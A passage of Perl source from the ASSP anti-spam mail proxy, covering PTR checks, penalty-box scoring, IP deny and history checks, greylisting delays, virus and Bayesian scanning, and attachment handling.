                  if ( $heloBlacklistIgnore && $this->{ptrdsn} =~ $HBIRE );
                if (   $DoPTRCheckInvalid
                    && $invalidPTRRe
                    && $invalidPTRReRE != ""
                    && $this->{ptrdsn} =~ $invalidPTRReRE
                    && $this->{ptrdsn} !~ $validPTRReRE )
                {
                    $this->{prepend} = "[PTRinvalid]";

                    #$this->{prepend} .= "[$tlit]" if $mDoPTRCheck >= 2;
                    $this->{messagereason} = "PTR invalid '$this->{ptrdsn}'";
                    $tlit = "[scoring:$ptiValencePB]" if $mDoPTRCheck == 3;
                    mlog( $fh, "$tlit ($this->{messagereason})" )
                      if ( $mDoPTRCheck == 3 || $mDoPTRCheck == 2 );
                    PTRCacheAdd( $ip, 3, $this->{ptrdsn} );
                    return 1 if $mDoPTRCheck == 2;
                    pbAdd( $fh, $ip, $ptiValencePB, "PTRinvalid" );
                    return 1 if $mDoPTRCheck == 3;
                    $Stats{ptrInvalid}++ unless $slok;
                    return 0;
                }
                PTRCacheAdd( $ip, 2, $this->{ptrdsn} );
                return 1;
            }
        } else {
            if ( $res->errorstring =~ "NXDOMAIN" ) {
                $this->{prepend} = "[PTRmissing]";

                #$this->{prepend} .= "[$tlit]" if $mDoPTRCheck == 3;
                $this->{messagereason} = "PTR missing";
                PTRCacheAdd( $ip, 1 );
                $tlit = "[scoring:$ptmValencePB]" if $mDoPTRCheck == 3;
                mlog( $fh, "$tlit ($this->{messagereason})" )
                  if ( $mDoPTRCheck == 3 || $mDoPTRCheck == 2 );
                return 1 if $mDoPTRCheck == 2;
                pbAdd( $fh, $ip, $ptmValencePB, "PTRmissing" );
                return 1 if $mDoPTRCheck == 3;
                $Stats{ptrMissing}++ unless $slok;
                return 0;
            }
        }
    }
    return 1;
}
sub PBOK {
    my ( $fh, $myip, $lvl ) = @_;
    my $this = $Con{$fh};
    $myip = $this->{cip} if  $this->{cip};
    return 1 if $this->{addressedToSpamBucket};
    return 1 if $this->{noblockingips};
    d('PBOK');

    my $t = time;
    my $ip = ipNetwork( $myip, $PenaltyUseNetblocks );
    return 1 if $this->{relayok};
    return 1 if $this->{whitelisted};
    return 1 if $this->{noprocessing};
    return 1 if $this->{ispip} && !$this->{cip};
    return 1 if $this->{nopb};


    return 1 if ( pbWhiteFind( $myip ) );
    return 1 if !pbBlackFind( $myip );
    return 1 if !$DoPenalty;

    my $mDoPenalty = $DoPenalty;		
    my ( $ct, $ut, $level, $totalscore, $sip, $reason ) =
      split( " ", $PBBlack{$ip} );
    return 1 if $totalscore <= $PenaltyWarning;
    $this->{prepend} = "[PenaltyBox]";
    $this->{messagereason} =
      "totalscore for $this->{ip} is $totalscore, last penalty was '$reason'";
    return 1 if $PenaltyWarning && $totalscore <=  $PenaltyWarning;
    if ($PenaltyWarning && $totalscore <=  $PenaltyLimit ) {
    	mlog( $fh, "[monitoring] -- $this->{messagereason} -- $this->{logsubject}" );
    	$this->{prepend} .= $PenaltyWarningTag;
    	return 1;
    	}
    return 1 if $totalscore <=  $PenaltyLimit;


    mlog( $fh, "[monitoring] -- $this->{messagereason} -- $this->{logsubject}" )
      if $mDoPenalty == 2 || $mDoPenalty == 3;
    return 1 if $mDoPenalty == 2 || $mDoPenalty == 3;
    return 0;
}

sub DenyOK {
    my ( $fh, $myip ) = @_;
    my $this = $Con{$fh};
    $myip = $this->{cip} if $this->{cip};
    d('DenyStrictOK');
	my $bip = &ipNetwork( $myip, $PenaltyUseNetblocks);

    return 1 if $this->{ispip} && !$this->{cip};

    return 1 if $this->{nopb};
    return 1 if $this->{noblockingips};
    return 1 if $this->{acceptall};
    return 1 if $this->{relayok};
    my $t    = time;
    my $slok = $this->{allLovePBSpam} == 1;
	my $tlit;
	


    return 1 if $this->{whitelisted};
    return 1 if $this->{noprocessing};
    return 1 if $this->{addressedToSpamBucket};
    my $mDoDenySMTP = $DoDenySMTP;
    my $file;
    my $ret = matchIP( $myip, 'denySMTPConnectionsFrom', $fh );
    $this->{prepend} = "[DenyIP]";


    $this->{messagereason} = "found in denySMTPConnectionsFrom '$ret'";
    if ( $ret && $DoDenySMTP == 1 ) {
  
        return 0;
    }
    if ( $ret && $DoDenySMTP == 2 ) {
        mlog( $fh, "[monitoring] -- $this->{messagereason} -- $this->{logsubject}" );
    }


    return 1;
}

sub HistoryOK {
    my ( $fh, $myip ) = @_;
    my $this = $Con{$fh};
    return if $this->{addressedToSpamBucket};
    return 1 if $this->{notspamtag};
    return if $this->{badhistory};
    $myip = $this->{cip} if $this->{cip};
    d('HistoryOK');
    
	if ($spamFriends && $this->{spamfriends} && !$this->{spamfriendsdone}) {
		my ($slmatch,$w) = &HighWeightSL($this->{spamfriends}, 'spamFriends');
		$this->{messagereason} = "SpamFriends";
		$this->{spamfriendsdone} = 1;
		pbAdd( $fh, $myip, $w, "SpamFriends", 1 );
	}

    my $t    = time;
    my $ip   = ipNetwork( $myip, $PenaltyUseNetblocks );
    my $slok = $this->{allLovePBSpam} == 1;
	my $tlit;   
    
    return if $this->{whitelisted};
    return if $this->{noprocessing};
    my $mf = lc $this->{mailfrom};
    $mf = batv_remove_tag($fh,$this->{mailfrom},'');
    my $mfd = $1 if $mf =~ /\@(.*)/;

    
    return if $this->{ispip};
	return if $this->{contentonly};
    return if $this->{nopb};
    return if $this->{acceptall};
    return if $this->{noblockingips};
    return if $this->{relayok};
    return if $myip =~ /$IPprivate/ ;

    $this->{prepend} = "[History]";
	if (pbWhiteFind($myip)) {
        pbBlackDelete( $fh, $myip );
        
        return 1;
    }
    return 1 if !pbBlackFind( $myip );
    my $totalscore = pbBlackFind( $myip );
	
	
    if ( $totalscore >= $PenaltyExtreme ) {
        $this->{messagereason} = "Extreme Bad History for $myip";
        pbAdd( $fh, $myip, $pbeValencePB, "ExtremeHistory", 1 );
        $this->{badhistory} = 1;
		$this->{newsletterre}		= '';
        return 0;
    } 
    if (  $totalscore >= $PenaltyLimit) {
        $this->{messagereason} = "Bad IP History for $myip";
        pbAdd( $fh, $myip, $pbValencePB, "BadHistory", 1 );
        $this->{badhistory} = 1;
		$this->{newsletterre}		= '';
        return 0;

    }
    if ($totalscore >= $PenaltyWarning) {
    	$this->{messagereason} = "Questionable IP History for $myip";
    	pbAdd( $fh, $myip,$pbsValencePB, "QuestionableHistory", 1 );
    	$this->{badhistory} = 1;
    	$this->{newsletterre}		= '';

    }


} 




sub Delayok {
    my ( $fh, $rcpt ) = @_;
    my $this   = $Con{$fh};
    my $client = $this->{friend};
    $this->{prepend} = "";
    d('Delayok');

    if ( $this->{delaydone} ) {
        $this->{delaydone} = '';
        return 1;
    }
    return 1 if !$EnableDelaying;
    return 1 if $this->{relayok};
    return 1 if $Con{$client}->{relayok};

    return 1 if $this->{ispip};
    return 1 if $this->{acceptall};
    return 1 if $this->{ip} =~ /$IPprivate/;
    

    
	my $ipnet = &ipNetwork($this->{ip}, 1);
    $ipnet =~ s/\.0$//o;
    my $v= "0.80";
    $v = $Griplist{$ipnet} if exists $Griplist{$ipnet};
    $v = "0.01" if $v eq "0.00";

    my $time = $UseLocalTime ? localtime() : gmtime();
    my $tz   = $UseLocalTime ? tzStr() : '+0000';
    $time =~ s/... (...) +(\d+) (........) (....)/$2 $1 $4 $3/;
    my $mf   = lc $this->{mailfrom};
    $mf = batv_remove_tag($fh,$this->{mailfrom},'');

    my $mfd  = $1 if $mf =~ /\@(.*)/;

    if ( $this->{contentonly} ) {

       # add to our header; merge later, when client sent own headers  (per msg)
        $this->{myheader} .=
          "X-Assp-Delay: not delayed : '$this->{contentonly}'); $time $tz\r\n"
          if ( $DelayAddHeader
            && $this->{myheader} !~ /Delay/ );

        return 1;
    }
	
    if ( !$DelayWL && $this->{whitelisted} ) {

       # add to our header; merge later, when client sent own headers  (per msg)
        $this->{myheader} .=
          "X-Assp-Delay: not delayed ($this->{passingreason}); $time $tz\r\n"
          if ( $DelayAddHeader
            && $this->{myheader} !~ /Delay/ );
 
        return 1;
    }
   
    if ( !$DelayNP && $this->{noprocessing}==1 ) {

       # add to our header; merge later, when client sent own headers  (per msg)
        $this->{myheader} .=
          "X-Assp-Delay: $rcpt not delayed ($this->{passingreason}); $time $tz\r\n"
          if ( $DelayAddHeader
            && $this->{myheader} !~ /Delay/ );

        return 1;
    }
    if ( $this->{nodelay} ) {

       # add to our header; merge later, when client sent own headers  (per msg)
        $this->{myheader} .=
          "X-Assp-Delay: $rcpt not delayed ($this->{nodelay}); $time $tz\r\n"
          if ( $DelayAddHeader
            && $this->{myheader} !~ /Delay/ );
        return 1;
    }
 
    if ($this->{whiteorg} ) {

       # add to our header; merge later, when client sent own headers  (per msg)
        $this->{myheader} .=
"X-Assp-Delay: $rcpt not delayed ($this->{whiteorg}); $time $tz\r\n"
          if ( $DelayAddHeader
            && $this->{myheader} !~ /Delay/ );

        return 1;
    }

    
    if ( !$DelaySL && $this->{allLoveSpam} == 1 ) {

       # add to our header; merge later, when client sent own headers  (per msg)
        $this->{myheader} .=
          "X-Assp-Delay: $rcpt not delayed (spamlover); $time $tz\r\n"
          if ( $DelayAddHeader
            && $this->{myheader} !~ /Delay/ );
        return 1;
    }
    


    if ( !$DelaySL && $this->{spamloversre} ) {

      # add to our header; merge later, when client sent own headers  (per rcpt)
        $this->{myheader} .=
          "X-Assp-Delay: $rcpt not delayed (SpamLoversRe: $this->{spamloversre}); $time $tz\r\n"
          if ( $DelayAddHeader
            && $this->{myheader} !~ /Delay/ );
    
        return 1;
    }
    my $mfwhite = $mf;
    $mfwhite =~ s/.*@//;
    

    if (! &pbBlackFind($this->{ip})) {
        my ( $ipcountry, $orgname, $domainname ) = split( /\|/, SBCacheFind($this->{ip}) ) ;
        if (!$DelayWL && $domainname eq $mfwhite && exists $WhiteOrgList{$domainname}) {
          # add to our header; merge later, when client sent own headers  (per rcpt)
            $this->{myheader}.="X-Assp-Delay: not delayed (White-SenderBase-Cache-OK); $time $tz\r\n" if ($DelayAddHeader && $this->{myheader} !~ /not delayed \(White-SenderBase/o);
            return 1;
        }
    }
    if ($DelayNormalizeVERPs) {

        # strip extension
        $mf =~ s/\+.*(?=@)//;

        # replace numbers with '#'
        $mf =~ s/\b\d+\b(?=.*@)/#/g;
    }
    my $ip = ipNetwork( $this->{ip}, $DelayUseNetblocks );
    my $hash = "$ip $mf " . lc $rcpt;

    # get sender domain

    my $hashwhite = "$ip $mfwhite";
    if ( $CanUseMD5 && $DelayMD5 ) {
        $hash      = Digest::MD5::md5_hex($hash);
        $hashwhite = Digest::MD5::md5_hex($hashwhite);
    }
    my $t = time;
    my $delay_result;
    if ( !exists $DelayWhite{$hashwhite} ) {
        if ( !exists $Delay{$hash} ) {
            mlog( $fh, "adding new triplet: ($ip,$mf," . lc $rcpt . ")", 1 )
              if $DelayLog >= 2;
            $Stats{rcptDelayed}++;
            $Delay{$hash} = $t;
            $delay_result = 0;
        } else {
            my $interval          = $t - $Delay{$hash};
            my $intervalFormatted = formatTimeInterval($interval);
            if ( $interval < $DelayEmbargoTime * 60 ) {
                mlog(
                    $fh,
                    "embargoing triplet: ($ip,$a,"
                      . lc $rcpt
                      . ") waited: $intervalFormatted",
                    1
                ) if $DelayLog >= 2;
                $Stats{rcptEmbargoed}++;
                $delay_result = 0;
            } elsif (
                $interval < $DelayEmbargoTime * 60 + $DelayWaitTime * 3600 )
            {
                mlog(
                    $fh,
                    "accepting triplet: ($ip,$a,"
                      . lc $rcpt
                      . ") waited: $intervalFormatted",
                    1
                ) if $DelayLog >= 2;
                delete $Delay{$hash};
                $DelayWhite{$hashwhite} = $t;

                $delay_result = 1;

                # add to our header; merge later, when client sent own headers
                $this->{myheader} .=
"X-Assp-Delay: $rcpt was delayed for $intervalFormatted; $time $tz\r\n"
                  if $DelayAddHeader;
            } else {
                mlog(
                    $fh,
                    "late triplet encountered, deleting: ($ip,$a,"
                      . lc $rcpt
                      . ") waited: $intervalFormatted",
                    1
                ) if $DelayLog >= 2;
                $Stats{rcptDelayedLate}++;

                $Delay{$hash} = $t;
                $delay_result = 0;
            }
        }
    } else {
        my $interval          = $t - $DelayWhite{$hashwhite};
        my $intervalFormatted = formatTimeInterval($interval);
        if ( $interval < $DelayExpiryTime * 24 * 3600 ) {
            mlog( $fh,
                "renewing tuplet: ($ip,$mfwhite) age: " . $intervalFormatted, 1 )
              if $DelayLog >= 2;
            $DelayWhite{$hashwhite} = $t;

            # multiple rcpt's
            delete $Delay{$hash};
            $delay_result = 1;

            # add to our header; merge later, when client sent own headers
            $this->{myheader} .=
              "X-Assp-Delay: $rcpt not delayed (auto accepted); $time $tz\r\n"
              if $DelayAddHeader;
        } else {
            mlog(
                $fh,
                "deleting expired tuplet: ($ip,$mfwhite) age: "
                  . $intervalFormatted,
                1
            ) if $DelayLog >= 2;
            $Stats{rcptDelayedExpired}++;

            delete $DelayWhite{$hashwhite};
            $Delay{$hash} = $t;
            $delay_result = 0;
        }
    }
    return $delay_result;
}

# returns true if all of the addresses in the space separated list are Noprocessing addresses
sub allNoProcessing {
    my $rcpt = shift;
    my $c    = 0;
    for ( split( ' ', $rcpt ) ) {

        return 0 unless matchSL( $_, 'noProcessing' );
        $c++;
    }
    $c;
}

sub allRot {
    my $a = shift;
    $a =~ tr/A-Za-z/N-ZA-Mn-za-m/;
    return ($a);
}

sub allSL {
    my ( $rcpt, $from, $re ) = @_;
    my $c = 0;
    return 1 if matchSL( $from, $re, 1 );
    for ( split( ' ', $rcpt ) ) {
        return 1 if matchSL( $_, $re, 1 );
        next;
    }
    return 0;
}

sub allSH {
    my ( $rcpt, $re ) = @_;
    my $c = 0;
    for ( split( ' ', $rcpt ) ) {
        return 1 if matchSL( $_, $re, 1 );
        return 0 unless matchSL( $_, $re, 1 );
        $c++;
    }
    $c;
}

# the message is not spam -- route it to the server
sub isnotspam {
    my ( $fh, $done ) = @_;
    d('isnotspam');
    my $this   = $Con{$fh};
    my $server = $this->{friend};
    

	
    # it's time to merge our header with client's one

	
	if (   (! $this->{relayok} || ($this->{relayok} && ! $NoExternalSpamProb ) )
        && !$this->{myheaderdone}

       )
    {
    $this->{myheader} .= "X-Assp-ID: $myName ($this->{msgtime})\r\n" if $this->{myheader} !~ "X-Assp-ID";
    $this->{myheader} .= "X-Assp-Version: $version$modversion\r\n" if $this->{myheader} !~ "X-Assp-Version";
    my $myheader = $this->{myheader};
  	$myheader = headerFormat($myheader);
  	d('after headerWrap');
  	$this->{header}=~s/^($HeaderRe*)/$1\r\n\n\n\r$myheader/o;
  	d('after merge our header');
  	$this->{header}=~s/\r?\n?\r\n\n\n\r/\r\n/;
  	d("added header : $this->{myheader}");
  	$this->{myheaderdone} = 1;

  	}
  	

	
	sigOK( $fh, $this->{header}, $done ) ;


  	if (
  		! $this->{MSGIDsigRemoved} 
  		&& ! $this->{relayok} 
  		&& $DoMSGIDsig 
  		&& !$this->{isbounce}) {   
          	&MSGIDsigRemove($fh);  # remove the MSGID signatures from incoming emails
          	$this->{maillength} = length($this->{header});
  	}
	
	sendque( $server, $this->{header} );
	$this->{headerpassed} = 1;

    if ($done) {
		&sayMessageOK($fh) if !$this->{spamfound}; 
        $this->{getline} = \&getline;
#        sendque($fh,"QUIT\r\n");
    } else {
        $this->{getline} = \&whitebody;
    }
}

# the message is non spam -- just relay it to the server
sub whitebody {

    my ( $fh, $l ) = @_;
    my $this = $Con{$fh};
    d('whitebody');
    my $server = $this->{friend};
    my $mbytes;
    my $clamavbytes;
    my $maxbytes; 

    $this->{maillength}+=length($l);
    $this->{header} .= $l if(length($this->{header}) < 100000) or ($sendHamInbound && ! $this->{relayok}) or ($sendHamOutbound &&  $this->{relayok});
    
 	return if ! MessageSizeOK($fh);

    
    
    my $done = $l =~ /^\.[\r\n]*$/
      || defined( $this->{bdata} ) && $this->{bdata} <= 0;
	$this->{headerlength} ||= getheaderLength($fh);
 	$maxbytes = $MaxBytes > 10000 ? $MaxBytes + $this->{headerlength} : 10000 + $this->{headerlength};
    $clamavbytes = $ClamAVBytes ? $ClamAVBytes + $this->{headerlength} : 50000 + $this->{headerlength};
    $clamavbytes = 100000 if $ClamAVBytes > 100000;
    $mbytes = $maxbytes;
    $mbytes = $clamavbytes if $clamavbytes > $mbytes  && ($BlockExes || $CanUseAvClamd && $AvailAvClamd) ;

    $this->{headerpassed} = 1 if ($done || $this->{maillength} >= $mbytes );

    my $doneToError = $done || ($send250OK || ($send250OKISP && ($this->{ispip} or $this->{cip})));

    if (($done || $this->{maillength} >= $mbytes ) && haveToScan($fh) &&
         ! ClamScanOK($fh, bodyWrap(\$this->{header},$clamavbytes)))
    {
      	$this->{newsletterre}		= '';
      	thisIsSpam($fh,$this->{messagereason}, $SpamVirusLog,$this->{averror}, 0,0,$doneToError);
        return;
    }
    
    if (($done || $this->{maillength} >= $mbytes ) && haveToFileScan($fh) &&
         ! FileScanOK($fh, bodyWrap(\$this->{header},$clamavbytes)))
    {
     	$this->{newsletterre}		= '';
     	thisIsSpam($fh,$this->{messagereason}, $SpamVirusLog,$this->{averror},0,0,$doneToError);
        return;
    }
    




	
	sigOK( $fh, $l, $done );
	

  	if (
  		! $this->{MSGIDsigRemoved} 
  		&& ! $this->{relayok} 
  		&& $DoMSGIDsig 
  		&& !$this->{isbounce}) {   
          	&MSGIDsigRemove($fh);  # remove the MSGID signatures from incoming emails
          	$this->{maillength} = length($this->{header});
  	}
  	if($done) {
        $this->{getline}=\&getline;
 #       &addMyheader($fh) if $this->{myheader};
        &sayMessageOK($fh) if !$this->{spamfound}; 
    }
	sendque( $server, $l);
#	sendque($fh,"QUIT\r\n");
	

}


# the message may or may not be spam -- get the body and test it.

sub getbody {
    my ( $fh, $l ) = @_;
    my $this = $Con{$fh};

    my ( $bomblt, $er );
    my $dataref;
    my $virusdataref;
    my $maxbytes;
    my $clamavbytes;
    my $mbytes;
    my $slok;
    $this->{datastart} = $this->{maillength} if (! $this->{datastart});
    $this->{maillength}+=length($l);
    $this->{header} .= $l;

    $this->{headerlength} ||= getheaderLength($fh);
    

 	$maxbytes = $MaxBytes > 10000 ? $MaxBytes + $this->{headerlength} : 10000 + $this->{headerlength};
    $clamavbytes = $ClamAVBytes ? $ClamAVBytes + $this->{headerlength} : 50000 + $this->{headerlength};
    $clamavbytes = 100000 if $ClamAVBytes > 100000;
    $mbytes = $maxbytes;
    $mbytes = $clamavbytes if $clamavbytes > $mbytes  && ($BlockExes || $CanUseAvClamd && $AvailAvClamd) ;
    
	my $done = $l =~ /^\.[\r\n]*$/o || defined( $this->{bdata} ) && $this->{bdata} <= 0;

    if ( $done || $this->{maillength} >= $mbytes) {
        my $doneToError = $done || ($send250OK || ($send250OKISP && ($this->{ispip} or $this->{cip})));

        $this->{skipnotspam} = 1;

        $dataref = bodyWrap(\$this->{header},$maxbytes);
        $virusdataref = bodyWrap(\$this->{header},$clamavbytes);


        d( "getbody - done:$done maillength:$this->{maillength}" );

		if ( !$this->{red} && $redRe && $$dataref =~ /($redReRE)/ )	{
            $this->{red} = ($1||$2);
            mlogRe( $fh, $this->{red}, "Red" );
        }
         
		if ( $this->{addressedToSpamBucket}) {
    		$this->{prepend} = "[SpamBucket]";
  
			$Stats{spambucket}++;
		
			$this->{messagereason} =
              "'$this->{addressedToSpamBucket}' in spamaddresses";
    		$this->{newsletterre}		= '';
			thisIsSpam($fh,"'$this->{addressedToSpamBucket}' in spamaddresses",$spamBucketLog,"250 OK",0,0,0);
        done($fh);
        return;
    	}

		if ( !$this->{noprocessing} 
			&& !$this->{whitelisted}
			&& !$this->{addressedToSpamBucket}
			&& $whiteRe) {
            WhiteOk($fh,$dataref);
        }

		if ( !$this->{noprocessing} && $npRe
        	&& !$this->{relayok}
        	&& !$this->{whitelisted}
        	&& !$this->{addressedToSpamBucket}
            && $npReRE != ""
            && $$dataref =~ ( '(' . $npReRE . ')' ) )
        {
			mlogRe( $fh, $1, "npRe" );
            pbBlackDelete( $fh, $this->{ip} );
            $this->{noprocessing}  = 1;
            $this->{passingreason} = "npRe '$1'";
  
        }
        



       
        if (!$this->{noprocessing} && $npLocalRe
            && $this->{relayok} 
            && $$dataref =~ ( '(' . $npLocalReRE . ')' ) )
        {
			mlogRe( $fh, $1, "npLocalRe" );

            $this->{noprocessing}  = 1;
            $this->{passingreason} = "npLocalRe '$1'";
  
        }


    
		PassAttachments( $fh, $dataref);
		

		
		if ( !$this->{noprocessing} && !$this->{whitelisted} && $this->{allwhitelist} == 1 )
        {
			my $slok = $this->{allLoveBoSpam} == 1;
            $Stats{bspams}++ unless $slok;;
            delayWhiteExpire($fh);
       
            $this->{prepend} = "[WhitelistOnly]";

            thisIsSpam( $fh, "Whitelist Only Allowed",
                $baysSpamLog, $SpamError, $baysTestMode, $slok, $doneToError );

            return;
        }
        
     	if (   $ccSpamNeverRe
        	&& !$this->{relayok}
            && $$dataref =~ ( '(' . $ccSpamNeverReRE . ')' ) ) {
            mlogRe( $fh, $1, "CCnever" );
            $this->{ccnever} = 1;
     	}

    	if ( $this->{spamfound} ) {

            # Spam is found to be safe, lets pass it on.            
#            mlog( $fh, "[spam found] and passing");
            isnotspam( $fh, $doneToError  );
            return; 
    	}   
    	if ( haveToScan($fh) && !ClamScanOK( $fh, $virusdataref ) ) {
			my $slok = $this->{allLoveATSpam} == 1;
			$this->{newsletterre}		= '';
            thisIsSpam( $fh, $this->{messagereason},
                $SpamVirusLog, $this->{averror}, $attachTestMode,
                0, $doneToError );
            return;
		} elsif ( haveToFileScan($fh) && !FileScanOK( $fh, $virusdataref ) ) {
			my $slok = $this->{allLoveATSpam} == 1;
			$this->{newsletterre}		= '';
            thisIsSpam( $fh, $this->{messagereason},
                $SpamVirusLog, $this->{averror}, $attachTestMode,
                0, $doneToError );
            return;
    	} elsif ($MessageScoringUpperLimit
                && $this->{messagescore} > ($MessageScoringUpperLimit) ) {
             MessageScore( $fh, $doneToError  );
             return;
		} elsif ( !BombBlackOK( $fh, $dataref ) ){  
            delayWhiteExpire($fh);
            $slok = $this->{allLoveBoBSpam} == 1;
            $Stats{bombBlack}++ unless $slok;
            my $reply = $SpamError;            
            $reply =~ s/REASON/$this->{messagereason}/g;
            $reply = replaceerror ($fh, $reply);
            $this->{test} = "blackTestMode";
            $this->{newsletterre}		= '';
            thisIsSpam( $fh, $this->{messagereason},
                $BlackReLog, $reply, $blackTestMode, $slok, $doneToError );
            return;
        } elsif ($MessageScoringUpperLimit
                && $this->{messagescore} > ($MessageScoringUpperLimit) ) {
             MessageScore( $fh, $doneToError  );
             return;
    	} elsif (!RBLOK($fh,$this->{ip},$doneToError) ) {
			return;
		} elsif ($MessageScoringUpperLimit
                && $this->{messagescore} > ($MessageScoringUpperLimit) ) {
             MessageScore( $fh, $doneToError  );
             return;
  		} elsif (!PTROK($fh) ) {
    	} elsif ($MessageScoringUpperLimit
                && $this->{messagescore} > ($MessageScoringUpperLimit) ) {
             MessageScore( $fh, $doneToError  );
             return;
        } elsif ( !$AsASecondary && !BombOK($fh, $dataref) ) {

            $slok = $this->{allLoveBoSpam} == 1;
            $slok = 0 if $this->{messagereason} =~ /bombCharSets/i;
            $Stats{bombs}++ unless $slok;
            delayWhiteExpire($fh);            

            my $reply = $SpamError;            
            $reply =~ s/REASON/$this->{messagereason}/g;
            $reply = replaceerror ($fh, $reply);
            $this->{test} = "bombTestMode";
            thisIsSpam( $fh, $this->{messagereason},
                $spamBombLog, $reply, $bombTestMode, $slok, $doneToError );
            return;
            
        } elsif ( !$AsASecondary && !ScriptOK( $fh, $dataref ) ) {
            $slok = $this->{allLoveBoSpam} == 1;
            $Stats{scripts}++ unless $slok;
            delayWhiteExpire($fh);
            
            $this->{prepend} = "[BombScript]";
            my $reply = $SpamError;            
            $reply =~ s/REASON/$this->{messagereason}/g;
            $reply = replaceerror ($fh, $reply);
            $this->{test} = "scriptTestMode";
            thisIsSpam( $fh, $this->{messagereason},
                $scriptLog, $reply, $scriptTestMode, $slok, $doneToError );        
            return;
        } elsif ($MessageScoringUpperLimit
                && $this->{messagescore} > ($MessageScoringUpperLimit + 10) ) {

                	MessageScore( $fh, $done );
                	return;    

            
        } elsif ( $DoBlockExes
            && !CheckAttachments( $fh, $BlockExes, $dataref, $AttachLog, $doneToError)){
            return;
    	
        } elsif ($MessageScoringUpperLimit
                && $this->{messagescore} > ($MessageScoringUpperLimit + 10) ) {

                	MessageScore( $fh, $done );
                	return; 
               


        } elsif ( !URIBLok( $fh, $dataref, $this->{ip}, $doneToError ) ) {
            delayWhiteExpire($fh);
            return;

        } elsif ( !BayesOK( $fh, $dataref, $this->{ip} ) ) {
            $slok = $this->{allLoveBaysSpam} == 1;
            $slok = 1 if $this->{bayesianspamlover};
            my $TestMode = "1" if  $baysTestMode;
    
            $TestMode = $slok = 0 if allSH( $this->{rcpt}, 'baysSpamHaters' );


            if ( !$slok ) { $Stats{bspams}++; }
			$this->{test} = "baysTestMode";
            $this->{prepend} = "[Bayesian]";
            thisIsSpam( $fh, 'Bayesian', $baysSpamLog, $SpamError,
                $TestMode, $slok, $doneToError );
            return;

        } elsif ( $DoPenaltyMessage)  {
         		

                if ($MessageScoringUpperLimit
                && $this->{messagescore} > $MessageScoringUpperLimit ) {

                	MessageScore( $fh, $doneToError );
                	return; 
               
         		}
         		if ($MessageScoringLowerLimit
         		
               	
                && $this->{messagescore} > $MessageScoringLowerLimit
                && $MessageScoringUpperLimit
                
                && $this->{messagescore} < $MessageScoringUpperLimit ) {

                	$this->{messagelow} = 1;
                	$this->{messagereason} = "MessageScore in warning range($this->{messagescore})";                 
					my $reply = $SpamError;                    
					$reply =~ s/REASON/MessageScore/go;
            		$reply = replaceerror ($fh, $reply);
                	$this->{prepend} = "[MessageScore]";
  
                	thisIsSpam( $fh, $this->{messagereason},  $spamMSLog, $reply,1 , 0, $doneToError );
                	return;
               	}


        	
        }
            

            my $Spamlog;
            my $prepend;
            if ($this->{spamfound}) {
            	$this->{prepend} = "[SpamLover]";
            	$prepend = "spam passing";
            	$Spamlog = "";
            } elsif ($this->{relayok}) {
            	$this->{prepend} = "[Local]";
            	$prepend = "local";
            	$Stats{locals}++;
            	$Spamlog = $NonSpamLog;
            	$Spamlog = "" if $this->{attachcomment};
            } elsif ($this->{noprocessing}) {
            	$this->{prepend} = "[NoProcessing]";
            	$prepend = "noprocessing";
            	$Stats{noprocessing}++ if !$this->{relayok};
            	$Spamlog = $noProcessingLog;
            } elsif ($this->{whitelisted}) {
            	$this->{prepend} = "[Whitelisted]";
            	$prepend = "whitelisted";
            	$Stats{whites}++;
            	$Spamlog = $NonSpamLog;

            } else { 
            	$Spamlog = $baysNonSpamLog;
            	$this->{prepend} = "[MessageOK]";
            	$prepend = "message ok";
				$Stats{bhams}++
			}
			
			addSpamProb( $fh) if !$this->{spamfound}; 
			$Spamlog = "" if $this->{spamfound};
			$Spamlog = "" if $this->{attachcomment};
            my $fn = Maillog( $fh, '', $Spamlog ) if $Spamlog;
            

            $fn = ' -> ' . $fn if !$fn == "";
            $fn = ""           if !$fileLogging && !$inclResendLink;
 

            
					

			my $logsub = ( $subjectLogging ? " $subjectStart$this->{originalsubject}$subjectEnd" : '' );
			my $pr = $this->{passingreason} ? " - $this->{passingreason} -" : '' ;
			my $ac = $this->{attachcomment} ? " - $this->{attachcomment} " : '' ;
			$this->{sayMessageOK} = "$prepend$pr$logsub$ac$fn";
			mlog( $fh, "$this->{sayMessageOK}" ) if $this->{spamfound};
            $this->{myheader} .= "X-Assp-Passing: $this->{passingreason}\r\n" if $this->{passingreason};
            

            isnotspam( $fh, $done );
       
    }
}

# checks for passing attachments
sub PassAttachments {
    my ( $fh,  $b) = @_;
    my $this = $Con{$fh};
    my @name;

    return 1 unless $CanUseEMM;

    
    my $msg = $$b;
    $this->{prepend} = '';

    eval {
        $Email::MIME::ContentType::STRICT_PARAMS=0;      # no output about invalid CT
        my $email=Email::MIME->new($msg);

        foreach my $part ( $email->parts ) {
            my $dis = $part->header("Content-Type") || '';
            my $attrs = $dis =~ s/^.*?;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
            my $name = $attrs->{name} || $part->{ct}{attributes}{name};
            my $filename = $attrs->{filename} || $part->{ct}{attributes}{filename};
            eval{$filename ||= $part->filename;};
            if (! $name || ! $filename) {
              eval{
                $dis = $part->header("Content-Disposition") || '';
                $attrs = $dis =~ s/^.*?;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
                $name ||= $attrs->{name} || $part->{ct}{attributes}{name};
                $filename ||= $attrs->{filename} || $part->{ct}{attributes}{filename};
              };
            }
            if (($name||$filename) && $part->header("Content-Disposition")=~ /attachment|inline/io ) {
                my $attname = $filename || $name;
                push(@name,($filename)?$filename:$name);
            }
        }
    };
    if ($@) {
        mlog($fh,"error: unable to parse message for attachments - $@",1) unless $IgnoreMIMEErrors;
        d("error: unable to parse message for attachments - $@") ;
    }
    my $numatt = @name;
    my $s = 's' if ($numatt >1);

	my $tlit = tlit($DoBlockExes);
	$this->{prepend} = "[Attachment]";
	
    foreach my $name (@name) {

    	if ( $PassAttach && $name =~ $passattachRE  )
    	{

            mlog( $fh, "passing good attachment '$name'",1 ) if $AttachmentLog;
            $this->{noprocessing} = 1;
            $this->{passingreason} = "attachment '$name'";
            $this->{attachdone} = 1;
            return 1;
		}
	}
}
# checks for blocked attachments
sub CheckAttachments
{
    my ( $fh, $block, $bd, $attachlog, $done ) = @_;
    my $this = $Con{$fh};
    my @name;

    return 1 unless $CanUseEMM;
    return 1 unless $DoBlockExes;
    return 1 if $this->{attachdone};
    

	my $msg = ref $bd ? $$bd : $bd;
    $this->{prepend} = "[Attachment]";

    eval {
        $Email::MIME::ContentType::STRICT_PARAMS=0;      # no output about invalid CT
        my $email=Email::MIME->new($msg);
        if ($email->{ct}{composite} =~ /signed/io) {

        }
